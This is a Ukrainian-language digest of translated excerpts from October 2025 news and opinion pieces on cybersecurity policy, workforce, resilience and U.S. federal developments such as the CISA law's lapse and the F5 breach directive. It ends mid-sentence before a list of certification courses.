«Четвертий Глобальний радар кіберполітики (Global Cyber Policy Radar) NCC Group показує, що підходи урядів до кібербезпеки переглядаються під впливом геополітики, занепокоєння щодо ланцюгів постачання та наближення постквантової криптографії. Регулюючі органи по всьому світу виходять за межі санкцій та пасивної оборони: держави зараз створюють — а в деяких випадках і використовують — наступальні кібер-арсенали, проводять операції з виведення з ладу і навіть, як це вже роблять Росія та Китай, залучають до боротьби приватні компанії. Ця зміна підвищує ймовірність того, що операторам критичної інфраструктури буде наказано застосовувати «медові пастки» та інші заходи активної оборони, що розмиває межу між державною та приватною відповідальністю…

У звіті міститься попередження для правлінь, що дотримання правил «по одному» вже не відповідає вимогам сьогодення. Національна безпека, суверенітет та інтервенціонізм домінують у політиці, а уряди посилюють вимоги до ланцюгів постачання, сприяючи технологічній самодостатності та піддаючи постачальників набагато більш ретельному контролю. Хоча деякі столиці виділили понад 6 мільярдів доларів США на національну кіберстійкість — приблизно ціну 62 винищувачів F-35C — вони все ще очікують, що компанії самостійно оплачуватимуть свої, тепер більш суворі, зобов'язання з безпеки.

Основні тенденції, відображені в Radar, включають:

• різке зростання програм з розвитку наступальних можливостей та переосмислення поняття «допустимих» кібердій;

• прискорення регулювання критично важливих ланцюгів постачання, особливо в галузі штучного інтелекту та інших стратегічних технологій;

• перехід від периметрального дотримання вимог до довгострокового, глобально орієнтованого управління, яке може гнучко реагувати на швидкозмінні пріоритети політики;

• необхідність готуватися вже зараз до постквантової криптографії за допомогою рекомендацій експертів NCC та Microsoft;

• дебати щодо заборони виплат викупу за програмне забезпечення-вимагач, нових правил повідомлення про порушення та ролі кібербезпеки як рушія економічного зростання…

NCC Group пропонує «криву зрілості кіберрегулювання», щоб організації могли оцінити, наскільки їхнє управління є адаптивним, і закликає керівників перейти від реактивних контрольних списків до проактивних, інтелектуальних програм, які розглядають кіберправила як стратегічну, конкурентну необхідність». ***(Shannon Williams. Global cyber regulation moves from compliance to resilience // TechDay (https://securitybrief.co.nz/story/global-cyber-regulation-moves-from-compliance-to-resilience). 10.10.2025).***

***

«…Недавнє дослідження ESG, проведене на замовлення Teleport, показує, що зараз підприємствам потрібно в середньому 11 годин і 11 окремих інструментів, щоб відстежити і закрити одне попередження про безпеку, пов'язане з ідентифікацією. Така затримка є фатальною в епоху атак на основі штучного інтелекту, які за лічені хвилини поширюються по хмарних, локальних, SaaS і DevOps стеках. Справжньою причиною є фрагментація: кожна хмара, база даних, кластер Kubernetes, сервіс SaaS і застаріла система видають власні облікові дані та журнали, створюючи «технічні кордони», які приховують повний шлях атаки і змушують команди безпеки відтворювати його вручну. Оскільки ідентичності людей, машин, робочих навантажень і навіть нових агентів штучного інтелекту існують в ізольованих силосах, крадіжка облікових даних (яка вже є причиною п'ятої частини порушень і зросте на 160% до 2025 року) залишається легкою, а її виявлення — повільним…

Рішення вимагає повного переосмислення ідентичності: вона повинна бути уніфікованою та криптографічно похідною. Кожна одиниця, від серверів і ноутбуків до людей та агентів штучного інтелекту, потребує унікальної ідентичності, виданої з одного джерела та керованої послідовно. Цей уніфікований рівень ідентичності повинен бути побудований на криптографічній основі, використовуючи принципи нульової довіри та захищені апаратним забезпеченням приватні ключі (наприклад, HSM/TPM). Впровадивши цю апаратну, захищену від крадіжки ідентичність, організації можуть викорінити анонімність, що призведе до зникнення ізольованих систем і дозволить спростити стратегії контролю доступу, а в кінцевому підсумку — перейти до більш безпечного, «безмежного» цифрового світу…» ***(Ev Kontsevoy. Why it takes 11 hours to resolve one ID-related cyber incident // Informa TechTarget (https://www.computerweekly.com/opinion/Why-it-takes-11-hours-to-resolve-one-ID-related-cyber-incident). 07.10.2025).***

***

«У 2025 році значна частина організацій (72%) повідомила про збільшення кіберризиків, а 35% малих підприємств визнали недостатню кіберстійкість, що є тривожним показником, оскільки з 2022 року цей показник зріс у сім разів. Ця тенденція підкреслює, що стратегічний фокус повинен зміститися з намагання запобігти кожній атаці на забезпечення того, щоб організація могла вижити після будь-якої атаки — це і є визначення кіберстійкості. Без ефективних вимірювань слабкі місця залишаються прихованими, поки їх не викриє серйозний інцидент, що призводить до дорогого циклу реагування…

Вимірювання кіберстійкості дозволяє організаціям мінімізувати вплив інцидентів і має вирішальне значення для забезпечення прозорості для керівників, регуляторних органів, страхових компаній та співробітників. Хоча єдиної комплексної системи не існує, вимірювання повинно виходити за межі статичних технічних оцінок, інтегруючи різні підходи, такі як моделі зрілості (ISO 27001), тестування на основі загроз (MITRE ATT&CK) та системи оперативного відновлення (Базельські принципи)…

Ключові принципи ефективного вимірювання включають простоту, цілісний підхід, що враховує технічні, людські та організаційні фактори, а також використання адаптивних показників замість фіксованих метрик. Ініціатива Всесвітнього економічного форуму «Кіберстійкість у промисловості» спрямована на розробку спільного, практичного підходу шляхом об'єднання глобальних перспектив для сприяння постійному вдосконаленню системної стійкості. З огляду на зростання вартості невимірюваних кіберризиків, включення вимірювання кіберстійкості в операційні процедури, такі як фінансові аудити, більше не є проблемою ІТ, а є основною стратегічною необхідністю для виживання та збереження позицій на ринку…» ***(Kirsty Paine, Luna Rohland. Why cyber resilience must be measured, not assumed // World Economic Forum (https://www.weforum.org/stories/2025/10/cyber-resilience-measuring-prevention/). 17.10.2025).***

***

«Швидкі темпи цифровізації та розвиток штучного інтелекту значно ускладнили роль керівників служб інформаційної безпеки, що змусило відмовитися від декількох застарілих міфів про кібербезпеку. Експерти сходяться на думці, що ідея про повну заміну людей штучним інтелектом у сфері кібербезпеки є хибною. Натомість вони виступають за партнерство, в рамках якого штучний інтелект обробляє великі обсяги даних і виконує повторювані завдання, а аналітики-люди можуть зосередитися на стратегічних рішеннях і застосуванні важливого бізнес-контексту…

Іншим небезпечним міфом є те, що великі технологічні платформи забезпечують надійну та безпомилкову верифікацію. Докази показують, що навіть просунуту багатоетапну аутентифікацію можна легко обійти за допомогою глибоких підробок, створених за допомогою штучного інтелекту, що доводить необхідність багаторівневої адаптивної системи захисту. Так само, покладатися

виключно на інвестиції в постачальників ідентифікаційних послуг та платформи SASE недостатньо, оскільки організації залишаються вкрай вразливими до базових атак, таких як фішинг; стратег з питань безпеки Брайан Собі зазначає, що сучасні зловмисники роблять «теорію великого неба» про низьку ймовірність атак застарілою.

Крім того, операційні проблеми часто переважають над браком інструментів, що ставить під сумнів міф про те, що придбання більшої кількості продуктів безпеки є ключем до захисту. Натомість організації повинні надавати пріоритет надійним операціям з безпеки та інвестувати в утримання та навчання існуючих фахівців, а не просто намагатися найняти більше людей. Реактивна стратегія, зосереджена лише на вирішенні «останньої атаки», також є недостатньою; експерти закликають до проактивного підходу до моніторингу всіх джерел, щоб виявляти мінливі загрози до того, як вони вплинуть на операційні технології (OT)…

Що стосується запобіжних заходів, переконання в необхідності регулярної зміни паролів є застарілим; згідно з поточними рекомендаціями NIST, слід оновлювати надійні паролі (15+ символів) лише у разі підозри на їх компрометацію, віддаючи перевагу менеджерам паролів і заохочуючи багатофакторну автентифікацію (MFA), хоча ключі доступу є кращою альтернативою. Ручне управління цифровими сертифікатами за допомогою електронних таблиць зараз неможливе, зважаючи на величезний обсяг сертифікатів та майбутнє поступове скорочення терміну дії публічних сертифікатів SSL/TLS до лише 47 днів до 2029 року.

Нарешті, відповідність вимогам не дорівнює безпеці; зосередження уваги лише на дотриманні мінімальних нормативних стандартів залишає організації вразливими в умовах постійно зростаючої загрози. Важливо, що загроза квантових обчислень не є віддаленою перспективою на десятиліття; тактика «збирай зараз, розшифровуй пізніше» (HNDL) означає, що злочинці вже збирають зашифровані дані, що вимагає від організацій негайного переходу на рекомендовані NIST стандарти квантового шифрування. На тлі цих зростаючих загроз, спроби деяких урядів зламати наскрізне шифрування з метою забезпечення правопорядку зустрічають рішучий опір з боку експертів з безпеки, які стверджують, що це зробить кожне пристрій менш безпечним, а інші застерігають, що передчасна дерегуляція генеративної ШІ може призвести до збільшення реальної шкоди, зокрема через дезінформацію». ***(Andrada Fiscutean. 13 cybersecurity myths organizations need to stop believing // FoundryCo, Inc. (https://www.csoonline.com/article/571943/22-cybersecurity-myths-organizations-need-to-stop-believing-in-2022.html). 15.10.2025).***

***

«Кібербезпека є критично важливим і постійним питанням для керівників фінансових служб при впровадженні нового програмного забезпечення. 24% старших фахівців у сфері фінансів в недавньому звіті AccountsIQ назвали це питання головним джерелом занепокоєння, особливо з огляду на гучні атаки на такі компанії, як M&S і Jaguar Land Rover. Бредлі Чаннер, фінансовий директор UBIO, підкреслив, що кібербезпека є

фундаментальним фінансовим ризиком, який не можна делегувати виключно технічним директорам або IT-командам, оскільки фінансові наслідки успішного порушення, такі як втрата доходів, є значними. Він закликав фінансових директорів стати технічно підкованими, проактивно вивчати пов'язані з цим ризики і «не розслаблятися», наголошуючи на необхідності створювати структури, що запобігають атакам, а не припускати, що вони не відбудуться…

Окрім безпеки, ще однією серйозною перешкодою є приховані витрати: 95% опитаних фінансових керівників повідомили про несподівані витрати, пов'язані з новим програмним забезпеченням, включаючи додаткові інструменти або непередбачені підвищення цін. Чаннер покладає відповідальність за ці несподіванки на фінансового керівника, який підписує контракт, і радить їм ставити «неприємні, складні питання» під час закупівлі, щоб забезпечити належне бюджетування. Зрештою, Чаннер стверджує, що фінансові керівники повинні бути стратегічними мислителями, а не просто обробниками цифр, і вимагати участі в прийнятті технічних рішень через серйозні фінансові наслідки…» ***(Matthew Ord. Cybersecurity starts with the CFO // Sift (https://www.accountingweb.co.uk/business/finance-strategy/cybersecurity-starts-with-the-cfo). 17.10.2025).***

***

«Швидкість, з якою розвиваються нові цифрові загрози, вимагає від підприємств виходу за межі реактивних заходів безпеки та прийняття проактивних стратегій, що вимагає глибокого розуміння мінливого ландшафту кібербезпеки. Основною зміною є поширення атак на основі штучного інтелекту, де зловмисники використовують автоматизацію для створення складних загроз у великих масштабах, включаючи фішинг з використанням глибоких підробок та складне шкідливе програмне забезпечення, призначене для обходу традиційних засобів захисту. Однак цьому можна протидіяти за допомогою впровадження організаціями інтелектуальних засобів безпеки на основі штучного інтелекту для цілодобового моніторингу мережі та автоматизованого реагування. Одночасно з цим шкідливе програмне забезпечення небезпечно еволюціонувало: кампанії з використанням програм-вимагачів більше не є широкомасштабними атаками, а стали високоселективними та прорахованими, спрямованими на високоцінні об'єкти, такі як лікарні та урядові установи, критична важливість яких гарантує більшу ймовірність виплати викупу. Ця проблема посилюється зростанням популярності програм-вимагачів як послуги (RaaS), що знижує бар'єр для входу нових хакерів…

Крім того, хмарні середовища, хоча і забезпечують масштабованість, створюють значні ризики, оскільки мають більше точок входу, які кіберзлочинці використовують, виявляючи невеликі помилки в конфігурації, щоб переміщатися по всій мережі. Це вимагає підвищеної пильності та надійних процедур управління ризиками третіх сторін для захисту даних, що зберігаються та доступні через зовнішніх хмарних провайдерів. Розширення інфраструктури Інтернету речей (IoT) також становить загрозу, оскільки незахищені підключені пристрої, навіть якщо вони не містять конфіденційних даних, можуть бути викрадені для створення

ботнетів, які використовуються для здійснення розподілених атак типу «відмова в обслуговуванні» (DDoS). Ці виклики ускладнюються постійною глобальною нестачею кваліфікованих фахівців з кібербезпеки, що змушує організації, які не мають достатнього внутрішнього досвіду, покладатися на зовнішню допомогу. Щоб зменшити ризики та забезпечити відповідність вимогам, підприємства повинні бути в курсі змін у сфері безпеки та постійно оновлювати свої інструменти та стратегії…» ***(Nazy Fouladirad. New shifts and trends in cybersecurity // Total Politics Group (https://www.trainingjournal.com/2025/artificial-intelligence-machine-learning/new-shifts-and-trends-in-cybersecurity/). 17.10.2025).***

***

«…На конференції «Об'єднання жінок у кіберпросторі», організованій The Cyber Guild, експерти дійшли згоди, що дефіцит кадрів у сфері кібербезпеки, який становить кілька мільйонів осіб, не можна заповнити, вимагаючи від кандидатів чотирирічної вищої освіти або бездоганного резюме. Такі спікери, як Дван Джонс з ISC2 та заступник директора з безпеки Mastercard доктор Алісса Абдулла, стверджували, що здібності, стійкість, цікавість та реальний досвід зараз переважають офіційні кваліфікації. Абдулла регулярно наймає кандидатів — від колишніх радіо-діджеїв до поліцейських — чиї навички розповіді, розслідування або оцінки ризиків безпосередньо переносяться на посади в галузі безпеки. Деббі Салліс з The Cyber Guild додала, що роботодавці повинні розвивати альтернативні канали пошуку талантів та інвестувати в перепідготовку персоналу, який відповідає місії компанії…

Сам процес найму персоналу переживає зміни під впливом штучного інтелекту: алгоритми відбирають заявки за ключовими словами, а кандидати використовують генеративні інструменти (навіть прихований текст), щоб обійти ці фільтри. Тому менеджери з найму персоналу шукають «стійкі навички» та автентичні людські якості — особисте спілкування, гумор, незвичайні хобі — і перевіряють компетенцію за допомогою практичних симуляцій, а не лише за рекомендаціями. Зростання загроз, пов'язаних із фейковими відео та соціальною інженерією, також перетворило перевірку кандидатів на функцію безпеки; наприклад, Mastercard наполягає на особистих співбесідах, щоб протидіяти синтетичним ідентичностям.

Учасники дискусії дійшли висновку, що в епоху автоматизованого обману та еволюції супротивників найефективніші команди з безпеки будуть побудовані на чесності, критичному мисленні, адаптивності та дусі співпраці, а не на традиційних академічних досягненнях…» ***(Heather Wishart-Smith. Future Cybersecurity Workforce: Beyond Degrees, Toward Durable Skills // Forbes Media LLC (https://www.forbes.com/sites/heatherwishartsmith/2025/10/20/future-cybersecurity-workforce-beyond-degrees-toward-durable-skills/). 20.10.2025).***

***

«Незважаючи на значні інвестиції в кібербезпеку та високий рівень підготовки персоналу, людські помилки є причиною 68% випадків порушення безпеки даних, головним чином через «втому від кібербезпеки» — справжню

відразу до дій, пов'язаних із безпекою, спричинену перевантаженням і розчаруванням від нескінченних правил і жаргону. Традиційні стратегії часто дають зворотний ефект, оскільки вони зосереджуються на відстеженні оманливих показників (таких як рівень завершення) і використовують каральні підходи (такі як симуляції фішингу «gotcha»), що породжує обурення замість формування справжніх звичок безпеки…

Щоб перервати цей цикл втоми, організації повинні застосовувати підхід, орієнтований на людину, визнаючи два типи втоми: когнітивну втому (помилки через відволікання уваги), яку можна подолати шляхом вбудовування заходів безпеки в існуючі робочі процеси, а не додавання додаткових кроків; та втому, пов'язану з ставленням (просто байдужість), яку можна подолати, зосередившись лише на найважливіших питаннях безпеки та відмовившись від зайвих правил…

Ефективна комунікація має вирішальне значення: повідомлення про безпеку часто є занадто складними та технічними для більшості співробітників. Використання простої мови, наприклад, заміна «впровадити багатофакторну автентифікацію» на «додати цей додатковий крок для входу», та адаптація повідомлень до конкретних проблем відділів (наприклад, демонстрація командам продажів, як безпека захищає відносини з клієнтами) допомагає запам'ятати інформацію. Побудова справжнього партнерства в галузі безпеки передбачає вислуховування проблем різних відділів, пов'язаних із безпекою, сприяння співпраці та швидке публічне висловлення подяки співробітникам, які повідомляють про підозрілу діяльність. Поради з безпеки найкраще надавати у вигляді своєчасних коротких повідомлень, пов'язаних з поточними подіями в компанії, а не у вигляді загальних тривалих тренінгів.

Зрештою, компанії повинні перейти від вимірювання обізнаності до вимірювання фактичної поведінки, що знижує ризики, визнаючи, що співробітники є першою лінією захисту. Поважаючи як потреби безпеки, так і людські обмеження, а також роблячи безпеку корисною, а не обтяжливою, організації можуть скоротити середній час виявлення порушень (наразі 194 дні в деяких галузях) і гарантувати, що цінні технології та ресурси не будуть марнуватися на персонал, який занадто втомлений, щоб брати участь у роботі…» ***(Sal Viveros. Keeping Cybersecurity Human: How Smart Communication Beats Security Fatigue // Forbes Media LLC. (https://www.forbes.com/councils/forbescommunicationscouncil/2025/10/21/keeping-cybersecurity-human-how-smart-communication-beats-security-fatigue/). 21.10.2025).***

***

Сполучені Штати Америки

«Міністерство оборони США відмовилося від своєї десятирічної системи управління ризиками (RMF) і представило нову концепцію управління ризиками в сфері кібербезпеки (CSRMC) — нову доктрину захисту мереж і систем, що належать Міністерству оборони і підключені до інформаційної мережі Міністерства оборони (DoDIN). CSRMC відмовляється від статичного,

заснованого на контрольних списках циклу «повноважень на експлуатацію» RMF і переходить до автоматизації, інформаційних панелей у режимі реального часу та безперервного моніторингу, щоб системи підтримували постійний, динамічно оцінюваний статус авторизації… Конструкція базується на десяти керівних принципах — автоматизація, фокус на критичному контролі, постійний Дозвіл на експлуатацію (ATO), DevSecOps, кіберстійкість, навчання, успадкування корпоративного контролю, видимість ризиків майже в режимі реального часу, взаємність оцінок та тестування з урахуванням загроз — і організовує життєвий цикл системи у п'ять етапів: Проектування (вбудовування стійкості в архітектуру), Створення (вбудовування безпеки в гнучкий розвиток), Тестування (перевірка за допомогою оцінки з урахуванням загроз), Впровадження (запуск безперервного моніторингу під час розгортання) та Експлуатація (цілодобовий нагляд за панеллю управління з можливістю обмеження або відключення будь-якої системи, яка потрапляє в зону неприйнятного ризику)…

Хоча CSRMC не накладає прямих зобов'язань на мережі підрядників і не замінює режим сертифікації зрілості кібербезпеки (CMMC), що регулює федеральну контрактну інформацію та контрольовану некласифіковану інформацію, його філософія буде поширюватися на майбутні запити. Підрядники повинні очікувати запитів на нові потоки доказів — телеметрію в режимі реального часу, результати автоматизованих тестів, дані з інформаційних панелей — що відображають перехід Міністерства оборони від періодичних артефактів (наприклад, планів безпеки системи) до безперервного, машиночитаного підтвердження безпеки. Компанії, що підтримують програми Міністерства оборони, повинні стежити за майбутніми рекомендаціями та формулюваннями тендерних пропозицій, брати участь у робочих групах галузі та готуватися до адаптації стратегій дотримання вимог, щоб їхні результати відповідали вимогам CSRMC щодо постійної видимості, практик DevSecOps та взаємності оцінки». ***(Evan D. Wolff, Rita S. Heimes, Maida Oringher Lerner, Marta A. Thompson, David A. Mahoney. Department of Defense Launches CSRMC: A New Cybersecurity Risk Management Construct // Akin Gump Strauss Hauer & Feld LLP (https://www.akingump.com/en/insights/alerts/department-of-defense-launches-csrmc-a-new-cybersecurity-risk-management-construct). 02.10.2025)***.

***

«…На тлі закриття уряду в 2025 році Сполучені Штати тихо дозволили втратити чинність Закону про обмін інформацією з питань кібербезпеки 2015 року(CISA) — закону, який захищав компанії від антимонопольних позовів, судових процесів, регуляторних санкцій та розкриття інформації відповідно до Закону про свободу інформації (FOIA), коли вони обмінювалися інформацією про кіберзагрози з урядом та між собою. Його втрата чинності, яку спостерігачі порівнюють із переходом національної стабільності від «Fyre Festival» до «Charlie Sheen's 'Tiger Blood' era», робить американські мережі більш вразливими, а обмін інформацією — повільнішим і обтяженим юридичними процедурами, що потенційно дає Росії, Китаю та іншим супротивникам більш чітке поле для атак… Хоча приватний сектор, адміністрація Трампа та двопартійна група Конгресу

підтримали продовження, голова Сенатського комітету з питань внутрішньої безпеки Ренд Пол заблокував процес, намагаючись вилучити положення, спрямовані на протидію дезінформації; після негативної реакції комітет не підготував законопроект до закінчення терміну… Тимчасова міра фінансування Палати представників включала коротке продовження CISA, але демократи відмовилися підтримати її через суперечки, не пов'язані з преміальними податковими кредитами за Законом про доступне медичне обслуговування, тому весь пакет заходів провалився…

Коаліція представників галузі попередила Конгрес, що кожен день без CISA 2015 створює «більш складну і небезпечну» ситуацію в галузі безпеки, оскільки захисники втрачають юридичну впевненість у тому, що вони можуть обмінюватися даними, що змушує хакерів працювати більш інтенсивно або шукати інші шляхи…» ***(Will Shanklin. Congress let a key cybersecurity law expire this week, leaving US networks more vulnerable // Yahoo (https://www.engadget.com/cybersecurity/congress-let-a-key-cybersecurity-law-expire-this-week-leaving-us-networks-more-vulnerable-174529522.html). 03.10.2025)***.

***

«Через вісім місяців після початку другого терміну адміністрації Трампа політика США в галузі кібербезпеки характеризується значною нестабільністю, яка в першу чергу стосується Агентства з кібербезпеки та безпеки інфраструктури (CISA). Наразі агентство працює без постійного керівника, затвердженого Сенатом, після того як кандидатура Шона Планкі була відхилена, і зазнало значних кадрових втрат — за повідомленнями, третина співробітників покинула агентство після інавгурації Трампа… Крім того, міністр внутрішньої безпеки Крісті Ноем наказала CISA припинити роботу над забезпеченням безпеки виборів та боротьбою з дезінформацією, скасувавши завдання, встановлені під час запуску CISA в перший термін президентства Трампа. Ці потрясіння збігаються з ескалацією цифрових загроз з боку суб'єктів у Китаї та Північній Кореї, що збільшує ризик серйозних порушень, спрямованих проти корпоративних мереж або критичної інфраструктури…

Окрім операційних труднощів CISA, адміністрація піддалася критиці за використання обурення проти колишніх кібер-чиновників: Трамп наказав скасувати допуск до секретної інформації засновнику CISA Крісу Кребсу, якого звільнили у 2020 році за захист чесності виборів, а армія згодом скасувала тимчасове призначення у Вест-Пойнті колишньої директорки CISA Джен Істерлі після скарг екстремістів… Експерти, серед яких Кеті Мусуріс і Стівен Белловін, попереджають, що ці дії та звільнення Ради з питань кібербезпеки (CSRB) відштовхнуть професійних фахівців від державної служби, а закордонні супротивники скористаються цією плутаниною. Нинішнє закриття уряду ще більше ускладнило ситуацію, змусивши значну частину співробітників CISA працювати без оплати. Незважаючи на негативні тенденції, залишається певний обережний оптимізм щодо вибору Трампа на посаду національного директора з кібербезпеки, Шона Кернкросса, та успішного протистояння адміністрації вимозі Великобританії до Apple поступитися шифруванням «від кінця до кінця». Однак експерти

наголошують, що адміністрація повинна надати пріоритет думці технологів і терміново поновити законодавство про обмін критичними даними, термін дії якого нещодавно закінчився…» ***(Rob Pegoraro. U.S. cybersecurity was bad during the first Trump administration. Somehow, it's getting worse // 2025 Mansueto Ventures, LLC (https://www.fastcompany.com/91411935/cybersecurity-trump-cisa-doge-krebs-black-hat). 01.10.2025).***

***

«Сенатори Гері Пітерс (Демократична партія, штат Мічиган) і Майк Раундс (Республіканська партія, штат Південна Дакота) представили двопартійний законопроект «Про захист Америки від кіберзагроз», який передбачає поновлення дії ключових положень про кібербезпеку, термін дії яких закінчився 30 вересня. Цей законопроект поновлює десятирічний Закон про обмін інформацією з кібербезпеки 2015 року, що дозволяє приватним компаніям добровільно ділитися з Міністерством внутрішньої безпеки (DHS) показниками кіберзагроз, такими як сигнатури шкідливого програмного забезпечення та зловмисні IP-адреси… Рамки, встановлені законом 2015 року, відіграли вирішальну роль у запобіганні порушенням безпеки даних та посиленні федеральних заходів реагування на масштабні атаки, зокрема такі, як SolarWinds, Volt Typhoon та Salt Typhoon. Новий законопроект має на меті посилити співпрацю між державним і приватним секторами та підвищити кіберстійкість країни шляхом поновлення захисту відповідальності компаній, які обмінюються даними, а також включення надійних заходів захисту конфіденційності персональних даних. Ця запропонована міра отримала підтримку від основних галузевих груп, включаючи Airlines for America та Торгову палату США. Крім того, сенатор Пітерс та його колеги запропонували інші двопартійні законопроекти у сфері кібербезпеки, включаючи Закон про національну стратегію переходу до квантової кібербезпеки, спрямований на усунення загроз, пов'язаних з квантовими обчисленнями, та Закон про раціоналізацію федеральних нормативних актів у сфері кібербезпеки, який має на меті гармонізацію федеральних нормативних актів у сфері кібербезпеки…» ***(Arthur McMiler. Bipartisan Senate Bill Seeks to Renew Expired Cybersecurity Measures // Executive Mosaic (https://www.executivegov.com/articles/cybersecurity-senate-bill-renewal-info-sharing-private-sector). 10.10.2025).***

***

«Бюджетна пропозиція адміністрації президента Дональда Трампа на 2026 фінансовий рік передбачає значне скорочення фінансування Агентства з кібербезпеки та безпеки інфраструктури (CISA), що може призвести до скорочення його персоналу майже на третину та бюджету на суму до 495 мільйонів доларів, а також до перенесення більшої відповідальності за кібербезпеку на уряди штатів та місцеві органи влади. Таке перенесення відповідальності, хоча і має на меті повернути CISA до виконання її місії з захисту інфраструктури, створює ризики для всієї країни через різний рівень кібербезпеки в 50 штатах…

Заможніші штати приваблюють таланти та інвестують у потужну оборону, але багато хто з них має труднощі з пошуком кваліфікованих фахівців, через що критична інфраструктура в сільських, недофінансованих штатах залишається в однаковій мірі вразливою до складних загроз. Така фрагментація підвищує ризик для національних активів та виборчих систем. Крім того, втрата досвідченого персоналу CISA знижує федеральний «колективний IQ» — інституційне знання, необхідне для швидкого реагування на інциденти…

Поточна ситуація ускладнюється системною неефективністю; федеральний уряд і штати витрачають мільйони на дорогі контракти та невикористані ліцензії на програмне забезпечення через фрагментовані закупівлі. Економія від централізації закупівель могла б звільнити сотні мільйонів доларів, які можна було б перенаправити на кваліфікований персонал та модернізовані системи… Незважаючи на невизначеність у сфері фінансування, яка уповільнює прогрес, зусилля з модернізації, включаючи мандат архітектури нульової довіри, залишаються важливими. Агентства повинні перейти від стратегій, спрямованих лише на запобігання, до стратегій, спрямованих на стримування, використовуючи такі методи, як сегментація, щоб обмежити шкоду, як тільки зловмисник неминуче порушує периметр.

Щоб рухатися вперед, федеральний уряд повинен залишатися стратегічним партнером, а не лише спонсором. Програми грантів потрібно реформувати, щоб надати пріоритет впливу над простою географічною рівністю, що дозволить гнучко підходити до впровадження нових технологій. Важливо, що кожна програма повинна мати вимірювані, публічні показники успіху, щоб забезпечити підзвітність. Перекладання відповідальності на штати без гарантування адекватних, скоординованих ресурсів є ризикованим, що вимагає негайних дій для найму кваліфікованого персоналу та впровадження стратегій, спрямованих на стримування поширення вірусу, по всій країні…» ***(Gary Barlet. Underfunded States Are the Weakest Link in Cyber Defense // Informa TechTarget (https://www.informationweek.com/cybersecurity/underfunded-states-are-the-weakest-link-in-cyber-defense). 09.10.2025).***

***

«Агентство з кібербезпеки та безпеки інфраструктури (CISA) видало в середу надзвичайну директиву 26-01, яка зобов'язує всі федеральні агентства негайно виправити критичні вразливості в пристроях F5 після підтвердження того, що державний суб'єкт отримав довгостроковий, постійний доступ до вихідного коду та інженерних середовищ постачальника технологій. Цей несанкціонований доступ, про який F5 повідомило в документах, поданих до Комісії з цінних паперів і бірж (SEC), становить «неприйнятний ризик» для федеральних мереж, оскільки зловмисник може скористатися недоліками для викрадення облікових даних, переміщення по мережі та отримання повного контролю над системою…

Компанія F5 виявила порушення в серпні, але відклала його оприлюднення до середи, після того як Міністерство юстиції визнало, що затримка є необхідною через істотні ризики для національної безпеки, що стало рідкісним випадком

публічного визнання втручання Міністерства юстиції відповідно до нових правил SEC щодо кібербезпеки. Наказ CISA зобов'язує федеральні цивільні агентства, які використовують тисячі продуктів F5 BIG-IP, провести інвентаризацію уражених пристроїв, оцінити доступність в Інтернеті та застосувати нещодавно випущені оновлення до 22 жовтня…

Хоча CISA поки що не має інформації про підтверджені випадки компрометації федеральних агентств, чиновники попередили, що ця атака є частиною більш широкої кампанії, спрямованої проти технологічного ланцюжка поставок США. Крадіжка вихідного коду F5, включаючи інформацію про нерозкриті вразливості, вважається «значною», оскільки вона потенційно прискорює терміни експлуатації зловмисниками. Незважаючи на те, що CISA працює в умовах закриття уряду та втрати чинності ключового законодавства про обмін кіберінформацією, вона підтримує основні функції та настійно закликає державні, місцеві та приватні організації, що використовують технології F5, вжити таких самих термінових заходів з виправлення та мінімізації ризиків…» ***(Nicole Sganga. Cybersecurity order warns of "imminent risk" to federal agencies following possible breach // CBS Interactive Inc. (https://www.cbsnews.com/news/f5-source-code-cybersecurity-infrastructure-security-agency-emergency-order/). 15.10.2025).***

***

«Тривале закриття уряду США призвело до нестачі персоналу в ключових федеральних агентствах з кіберзахисту, в той час як іноземні супротивники та злочинні угруповання продовжують шукати слабкі місця. Лише близько 35% співробітників CISA перебувають на службі; оновлення рекомендацій NIST зупинені; Закон про обмін інформацією з кібербезпеки втратив чинність; тисячі федеральних контрактів заморожені. В результаті зменшилася кількість аналітиків, які стежать за мережами, сповіщення надходять повільніше, зменшився обмін інформацією між державним і приватним секторами, а цикли випуску патчів затримуються — все це збільшує ймовірність того, що національні держави або групи хакерів, які використовують програми-вимагачі, скористаються незахищеними системами уряду, критичної інфраструктури та оборонно-промислової бази…

Цей термін є особливо небезпечним, оскільки 10 листопада 2025 року набуває чинності правило Міністерства оборони (нині Міністерства війни) щодо сертифікації моделі зрілості кібербезпеки (CMMC). Будь-який підрядник, який працює з контрольованою некласифікованою інформацією, повинен до цієї дати подати самооцінку NIST 800-171, а через рік — сертифікат третьої сторони. Час до вступу правила в силу продовжує спливати, незважаючи на суперечки в Конгресі щодо бюджету, проте опитування Merrill Research показує, що лише 1% підрядників повністю готові до цього…

Що організації повинні робити зараз

Встановити виправлення для вразливих систем, впровадити багатофакторну автентифікацію (MFA) та забезпечити постійний моніторинг.

Замінити федеральні канали інформації про загрози на комерційні джерела розвідки та ресурси ISAC, оскільки CISA та NIST не мають достатньої кількості персоналу.

Посилити контроль доступу третіх сторін та контроль доступу «just-in-time».

Підготуватися до фішингових кампаній, пов'язаних із закриттям; перепідготувати персонал та посилити аутентифікацію електронної пошти.

Скласти карту розташування CUI, усунути прогалини NIST 800-171 та розпочати збір доказів для майбутніх аудитів CMMC…

Політична криза закінчиться, а кіберзагрози — ні. Компанії, які діють вже зараз, розглядаючи кібербезпеку як основне завдання, а не як витрати на IT, захистять себе, забезпечать національну безпеку та збережуть право на укладення майбутніх федеральних контрактів після відновлення роботи уряду у Вашингтоні…» ***(Emil Sayegh. Shutdown Or Meltdown? The Real Cybersecurity Risk Behind Washington Gridlock // Forbes Media LLC (https://www.forbes.com/sites/emilsayegh/2025/10/16/shutdown-or-meltdown-prolonged-government-lapse-threatens-us-cybersecurity/). 16.10.2025).***

***

«Попит на фахівців у галузі кібербезпеки, хмарних обчислень та штучного інтелекту/машинного навчання стрімко зростає — за прогнозами, до 2034 року кількість робочих місць у США зросте на 29% у сфері безпеки та на 20% у сфері штучного інтелекту/машинного навчання, — проте саме в цих галузях спостерігається найбільший дефіцит кваліфікованих кадрів. У звіті Pluralsight «Технічні навички 2025 року» кібербезпека, хмарні технології та штучний інтелект/машинне навчання посідають перші три місця за рівнем дефіциту кадрів; 58% IT-персоналу та 47% організацій відмовилися від проектів через брак таких фахівців…

Пріоритетні списки на 2026 рік відображають кризу: керівники найвище оцінюють хмарні технології, кібербезпеку та дані; IT-фахівці називають кібербезпеку, хмарні технології та ШІ/МН; бізнес-фахівці згадують ШІ/МН, хмарні технології та DevOps.єє

Щоб допомогти працівникам заповнити прогалини у своїх знаннях і забезпечити виконання проектів та отримання доходів, у статті наводяться безкоштовні сертифікаційні курси:

